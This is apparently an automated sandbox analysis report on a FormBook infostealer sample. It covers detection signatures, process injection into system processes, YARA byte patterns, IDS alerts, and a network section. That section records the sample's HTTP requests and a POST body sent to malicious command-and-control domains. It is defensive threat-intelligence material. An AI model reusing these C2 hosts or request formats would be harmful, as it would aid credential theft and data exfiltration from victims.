Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
UNGSno5k4G.exe

Overview

General Information

Sample name:UNGSno5k4G.exe
renamed because original name is a hash value
Original sample name:36221887f7a5bc5d9ab6c2e9a86a4840c02a834a828acd367925e85e374d0fca.exe
Analysis ID:1549424
MD5:2635f8b903b80146d303fbb5c6185fe7
SHA1:5316fb8ee46ac71cef28f518217965b39525f3c9
SHA256:36221887f7a5bc5d9ab6c2e9a86a4840c02a834a828acd367925e85e374d0fca
Tags:exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Query firmware table information (likely to detect VMs)
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • UNGSno5k4G.exe (PID: 1872 cmdline: "C:\Users\user\Desktop\UNGSno5k4G.exe" MD5: 2635F8B903B80146D303FBB5C6185FE7)
    • svchost.exe (PID: 1548 cmdline: "C:\Users\user\Desktop\UNGSno5k4G.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • ZndDLeJFrzJRB.exe (PID: 5888 cmdline: "C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • replace.exe (PID: 6308 cmdline: "C:\Windows\SysWOW64\replace.exe" MD5: A7F2E9DD9DE1396B1250F413DA2F6C08)
          • ZndDLeJFrzJRB.exe (PID: 5268 cmdline: "C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 1212 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
          • explorer.exe (PID: 3856 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)
  • explorer.exe (PID: 4016 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • rundll32.exe (PID: 3540 cmdline: C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2bd50:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x13e1f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2bd50:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x13e1f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 11 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e3f3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x164c2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            2.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f1f3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x172c2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\UNGSno5k4G.exe", CommandLine: "C:\Users\user\Desktop\UNGSno5k4G.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\UNGSno5k4G.exe", ParentImage: C:\Users\user\Desktop\UNGSno5k4G.exe, ParentProcessId: 1872, ParentProcessName: UNGSno5k4G.exe, ProcessCommandLine: "C:\Users\user\Desktop\UNGSno5k4G.exe", ProcessId: 1548, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\UNGSno5k4G.exe", CommandLine: "C:\Users\user\Desktop\UNGSno5k4G.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\UNGSno5k4G.exe", ParentImage: C:\Users\user\Desktop\UNGSno5k4G.exe, ParentProcessId: 1872, ParentProcessName: UNGSno5k4G.exe, ProcessCommandLine: "C:\Users\user\Desktop\UNGSno5k4G.exe", ProcessId: 1548, ProcessName: svchost.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-05T16:23:10.549635+010020229301A Network Trojan was detected172.202.163.200443192.168.2.949792TCP
            2024-11-05T16:23:48.724643+010020229301A Network Trojan was detected172.202.163.200443192.168.2.949946TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: UNGSno5k4G.exeAvira: detected
            Antivirus detection for URL or domain
            Source: http://www.sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1hpFW51KlNbBS8GqvLsVmQjui7pqzBw==&UPXL=bb7xLbVx1lkD7NAvira URL Cloud: Label: malware
            Source: http://sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZqAvira URL Cloud: Label: malware
            Source: http://www.sppsuperplast.online/becc/Avira URL Cloud: Label: malware
            Multi AV Scanner detection for submitted file
            Source: UNGSno5k4G.exeReversingLabs: Detection: 83%
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: UNGSno5k4G.exeJoe Sandbox ML: detected
            Source: UNGSno5k4G.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: replace.pdb source: svchost.exe, 00000002.00000003.1421070272.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452377749.0000000000800000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3181935717.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000003.1394304675.00000000013EB000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: replace.pdbGCTL source: svchost.exe, 00000002.00000003.1421070272.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452377749.0000000000800000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3181935717.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000003.1394304675.00000000013EB000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ZndDLeJFrzJRB.exe, 00000003.00000002.3181022693.00000000000AE000.00000002.00000001.01000000.00000004.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517156171.00000000000AE000.00000002.00000001.01000000.00000004.sdmp
            Source: Binary string: wntdll.pdbUGP source: UNGSno5k4G.exe, 00000000.00000003.1351971241.0000000004700000.00000004.00001000.00020000.00000000.sdmp, UNGSno5k4G.exe, 00000000.00000003.1351840729.0000000004560000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1356492656.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1358499508.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1454243350.000000000319F000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1452379919.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.00000000034EE000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.0000000003350000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: UNGSno5k4G.exe, 00000000.00000003.1351971241.0000000004700000.00000004.00001000.00020000.00000000.sdmp, UNGSno5k4G.exe, 00000000.00000003.1351840729.0000000004560000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1356492656.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1358499508.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, replace.exe, replace.exe, 00000004.00000003.1454243350.000000000319F000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1452379919.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.00000000034EE000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.0000000003350000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: replace.exe, 00000004.00000002.2381999240.000000000397C000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517720681.00000000031DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1743747539.0000000024E8C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: replace.exe, 00000004.00000002.2381999240.000000000397C000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517720681.00000000031DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1743747539.0000000024E8C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00ADC230 FindFirstFileW,FindNextFileW,FindClose,4_2_00ADC230
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4x nop then xor eax, eax4_2_00AC9AD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4x nop then mov ebx, 00000004h4_2_030E04E8

            Networking

            barindex
            Performs DNS queries to domains with low reputation
            Source: DNS query: www.moritynomxd.xyz
            Source: DNS query: www.sterkus.xyz
            Source: Joe Sandbox ViewIP Address: 209.74.95.29 209.74.95.29
            Source: Joe Sandbox ViewIP Address: 81.2.196.19 81.2.196.19
            Source: Joe Sandbox ViewASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
            Source: Joe Sandbox ViewASN Name: ESITEDUS ESITEDUS
            Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.9:49792
            Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.9:49946
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
            Source: global trafficHTTP traffic detected: GET /v5tr/?UPXL=bb7xLbVx1lkD7N&76yp5b=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1tiXGxnpWKIlAMdpeetvztbm0D0P/FQ== HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.moritynomxd.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /kmgk/?76yp5b=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzRzkSQpK8SApNFtkA5U4MUp6J2Mz6QQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.kovallo.cloudUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1hpFW51KlNbBS8GqvLsVmQjui7pqzBw==&UPXL=bb7xLbVx1lkD7N HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.sppsuperplast.onlineUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /fl4z/?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.tracy.clubUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /fl4z/?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.tracy.clubUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /ha8h/?76yp5b=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX6/3MPvQCQPMFuzfo+VK5cq25Wd2+yKQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.sterkus.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficDNS traffic detected: DNS query: www.moritynomxd.xyz
            Source: global trafficDNS traffic detected: DNS query: www.kovallo.cloud
            Source: global trafficDNS traffic detected: DNS query: www.sppsuperplast.online
            Source: global trafficDNS traffic detected: DNS query: www.tracy.club
            Source: global trafficDNS traffic detected: DNS query: www.sterkus.xyz
            Source: global trafficDNS traffic detected: DNS query: api.msn.com
            Source: unknownHTTP traffic detected: POST /kmgk/ HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 195Cache-Control: no-cacheHost: www.kovallo.cloudOrigin: http://www.kovallo.cloudReferer: http://www.kovallo.cloud/kmgk/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)Data Raw: 37 36 79 70 35 62 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 39 65 34 37 6a 47 43 55 6f 31 68 65 35 7a 33 65 47 6f 30 79 6a 56 42 77 38 63 64 74 33 71 4c 7a 62 2f 63 7a 66 6e 72 38 70 44 7a 73 70 67 61 57 5a 51 4d 45 30 4d 77 71 68 62 30 4d 45 6a 64 66 43 41 30 5a 6c 33 70 47 65 6a 6f 50 43 5a 48 79 5a 56 4e 33 47 64 67 7a 34 57 73 4d 43 72 65 6e 2b 35 43 76 42 58 31 75 6f 68 52 56 5a 76 4b 70 4a 50 2f 49 2f 52 6a 55 74 72 76 79 70 78 4e 4b 79 46 69 7a 41 4f 52 62 69 39 64 63 6f 58 68 4b 63 6a 61 49 41 46 70 68 54 2f 68 49 43 4c 4c 69 50 51 41 49 38 34 6b 5a 46 64 73 6c 71 53 79 30 Data Ascii: 76yp5b=dsMqkxxmQj+V9e47jGCUo1he5z3eGo0yjVBw8cdt3qLzb/czfnr8pDzspgaWZQME0Mwqhb0MEjdfCA0Zl3pGejoPCZHyZVN3Gdgz4WsMCren+5CvBX1uohRVZvKpJP/I/RjUtrvypxNKyFizAORbi9dcoXhKcjaIAFphT/hICLLiPQAI84kZFdslqSy0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 15:23:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 15:23:38 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 15:23:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
